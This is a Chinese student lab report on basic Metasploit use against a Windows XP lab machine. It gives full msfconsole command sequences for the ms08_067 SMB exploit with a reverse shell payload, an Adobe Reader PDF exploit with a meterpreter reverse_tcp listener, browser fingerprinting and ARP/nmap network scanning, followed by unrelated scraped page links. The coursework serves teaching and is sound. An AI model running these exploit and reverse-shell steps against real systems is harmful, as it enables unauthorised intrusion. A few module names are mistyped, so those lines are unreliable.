20155328 网络攻防 实验五:MSF基础应用
20155328 网络攻防 实验五:MSF基础应用
实践内容及过程记录
一、Windows服务渗透攻击————ms08_067
攻击机:kali
靶机:WindowsXP(英文版)
第一步,分别查看攻击机和靶机的IP。
在kali终端中,输入msfconsole
进入msf控制台,依次输入以下指令:
use exploit/windows/smb/ms08_067_netapiuse exploit/windows/smb/ms08_067_netapi
show payloads
set payload generic/shell_reverse_tcp
set LHOST 192.168.127.138
set LPORT 5328
set RHOST 192.168.127.139
set target 0
exploit
攻击成功,可以看到已经获取了靶机的系统信息:
二、浏览器渗透攻击————ms11_103
在kali终端输入msfconsole打开msf控制台,输入以下参数:
被攻击的主机可以看到网页无法正常打开:
回到kali,输入以下指令:
sessions
sessions -i n//n为显示的最大进程号
可以看到攻击成功了。
三、针对Adobe Reader的渗透攻击
在kali中进入msf控制台,输入以下指令:
use windows/fileformat/adobe)cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.127.139
set LPORT 5328
set FILENAME 20155328.pdf
exploit
生成了PDF:
将生成的PDF拷贝到靶机上。
kali中输入back,进入监听模块,输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.127.139
set LPORT 5328
exploit
然后在靶机上打开PDF:
攻击机显示攻击成功:
四、应用Aux辅助模块
1.browser_info
在kali终端中输入show auxiliary
,查看aux中都有哪些模块,最后选中gather/browser_info。
进入到msf控制台后,依次输入以下命令:
use auxiliary/gather_browser_info
set SRVHOST 192.168.127.138 //kali的IP
set SRVPORT 5328
exploit
可以看到生成了URL,且Server Start。
复制链接,在靶机(WindowsXP)中进行访问:
回到kali,可以看到已经获取了靶机访问该url的浏览器信息。
2.arp_sweep
先在kali终端中输入以下命令,手动创建一个msf所需的数据库:
service postgresql start
msfdb start
再输入msfconsole
开启msf,输入命令use auxiliary/scanner/discovery/arp_sweep
进入模块,设置参数:(RHOSTS填写kali所在的网段)
设定好了以后输入run
,可以看到除了自己主机IP外,还有三个其他IP:
在msf中输入命令db_nmap -O 192.168.127.139
(靶机IP),可以看到开启的端口号即靶机的目标操作系统。
基础问题回答
用自己的话解释什么是exploit,payload,encode。
exploit:利用漏洞或一切可利用的东西进行获取用户权限、篡改文件信息等操作。
payload:在靶机上执行的一段代码,可以反弹连接。
encode:对特征码进行编码,改变特征码。
实践总结与体会
这次实验主要是做的小模块比较多,感觉还。。挺厉害的。。再接再厉吧。
20155328 网络攻防 实验五:MSF基础应用的更多相关文章
- 20155201 网络攻防技术 实验五 MSF基础应用
20155201 网络攻防技术 实验五 MSF基础应用 一.实践内容 一个主动攻击实践,如ms08_067 一个针对浏览器的攻击,如ms11_050 一个针对客户端的攻击,如Adobe 成功应用任何一 ...
- 20155235 《网络攻防》 实验五 MSF基础应用
20155235 <网络攻防> 实验五 MSF基础应用 实验内容 一个主动攻击实践,如ms08_067; (1分) 一个针对浏览器的攻击,如ms11_050:(1分) 一个针对客户端的攻击 ...
- 2017-2018-2 20155225《网络对抗技术》实验五 MSF基础应用
2017-2018-2 20155225<网络对抗技术>实验五 MSF基础应用 ms08_067 用search命令,搜索与ms08_067相关的模块,如图: 找到了对应的攻击模块expl ...
- 20155313 杨瀚 《网络对抗技术》实验五 MSF基础应用
20155313 杨瀚 <网络对抗技术>实验五 MSF基础应用 一.实验目的 本实验目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.一个主动 ...
- 20145236《网络攻防》Exp5 MSF基础应用
20145236<网络攻防>Exp5 MSF基础应用 一.基础问题回答 解释exploit,payload,encode是什么: exploit就是负责负载有用代码的交通工具,先通过exp ...
- 20155226《网络攻防》 Exp5 MSF基础应用
20155226<网络攻防> Exp5 MSF基础应用 基础问题回答 1.用自己的话解释什么是exploit,payload,encode? exploit : Exploit的英文意思就 ...
- 20155301 《网络攻防》 Exp5 MSF基础应用
20155301 <网络攻防> Exp5 MSF基础应用 基础问题 1.用自己的话解释什么是exploit,payload,encode 答:exploit就是利用一些工具的,用来收集目标 ...
- 20155318 《网络攻防》Exp5 MSF基础应用
20155318 <网络攻防>Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码传 ...
- 20155321 《网络攻防》 Exp5 MSF基础应用
20155321 <网络攻防> Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode 关于exploit,我觉得exploit是利用一些工具 ...
随机推荐
- php 实现简单购物车功能(2)
上一篇的时候只是写了简单的加入购物车功能,购物车中产品的删除.提交订单后,库存的减少 以及客户账户的余额都没有完善, 这一篇是接着完善上一篇的,上一篇写到了购物车中删除的功能了,为了使删除的代码少敲一 ...
- JavaScript修改日期格式
<script> //封装时间格式 function format(time, format) { var t = new Date(time); var tf = function (i ...
- js实现浏览器用户信息收集
前言 这是一个通过html5,javascript用于收集用户通过上网泄漏的各种信息,包括地理位置,IP地址,照片,语音,浏览器版本等信息.结合大数据,可实现广告定向投放,用户追踪,用户行为分析,用户 ...
- LeetCode 题解之Reverse Words in a String
1.题目描述 2.问题分析 使用一个vector存储每个单词. 3.代码 void reverseWords(string &s) { vector<string> v; for ...
- python新生类和经典类简单说明
经典类: #!/usr/bin/env python #*-* coding:utf-8 *-* class A(): def __init__(self): print 'my name is GF ...
- python 之__new__
注意: 继承自object的新式类才有__new__方法 类中的__init__方法依赖__new__方法的正确返回,init中的self就是__new__返回的实例 __new__至少要有一个参数c ...
- 巧用top percent优化top 1
废话不多说,直接上sql B.CREW_ID, E.CREW_NAME,C.OFFBLK,C.ONBLK,dbo.PEK_OPS_Date(A.STD) as STD FROM dbo.FLIGHTS ...
- mysql INSERT的几个语法 IGNORE|REPLACE|LOW_PRIORITY | DELAYED
INSERT IGNORE 与INSERT INTO的区别就是INSERT IGNORE会忽略数据库中已经存在 的数据,如果数据库没有数据,就插入新的数据,如果有数据的话就跳过这条数据.这样就可以保留 ...
- ip 命令的使用
网上相似的资源很多,可以参考如下资料: man ip ip help 博客链接: https://linoxide.com/linux-command/use-ip-command-linux/ ht ...
- 【转】Java学习---Java Web基础面试题整理
[原文]https://www.toutiao.com/i6592359948632457731/ 1.什么是Servlet? 可以从两个方面去看Servlet: a.API:有一个接口servlet ...